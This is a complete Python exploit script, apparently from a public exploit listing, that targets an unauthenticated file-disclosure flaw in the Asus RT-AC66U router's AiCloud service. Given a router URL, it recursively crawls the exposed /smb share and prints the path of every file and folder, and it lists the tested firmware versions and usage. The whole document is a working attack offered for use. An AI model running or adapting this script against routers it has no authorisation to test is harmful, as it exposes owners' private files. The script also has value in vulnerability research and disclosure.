Asus RT-AC66U AiCloud Unauthenticated File Disclosure

aicloud_list.py

#!/usr/bin/python

from bs4 import BeautifulSoup
import urllib2
import sys

def list_dir(url, start_dir):
	try:
		html_page = urllib2.urlopen(url+start_dir)
	except urllib2.HTTPError as e:
		print e
		sys.exit(1)
	soup = BeautifulSoup(html_page)
	for link in soup.findAll('a'):
		path = link.get('uhref')
		if path != '../':
			is_dir = link.get('isdir')
			if  is_dir == str('1'):
				print url+path
				list_dir(url,path)
			else:
				print url+path

nargs = len(sys.argv)
if nargs == 2:
	url = sys.argv[1]
	start_dir = "/smb"
elif nargs == 3:
	url = sys.argv[1]
	start_dir = str(sys.argv[2])
else:
	print 'Asus RT-AC66U AiCloud Unauthenticated File Disclosure\
		  \nTested Firmwares: 3.0.0.4.266, 3.0.0.4.270 and 3.0.0.4.354\
		  \nDisclosed by Kyle Lovett\
		  \nScript by Bernardo Rodrigues - http://w00tsec.blogspot.com\
		  \nUsage: python %s http://url [path]' % sys.argv[0]
	sys.exit(1)

list_dir(url, start_dir)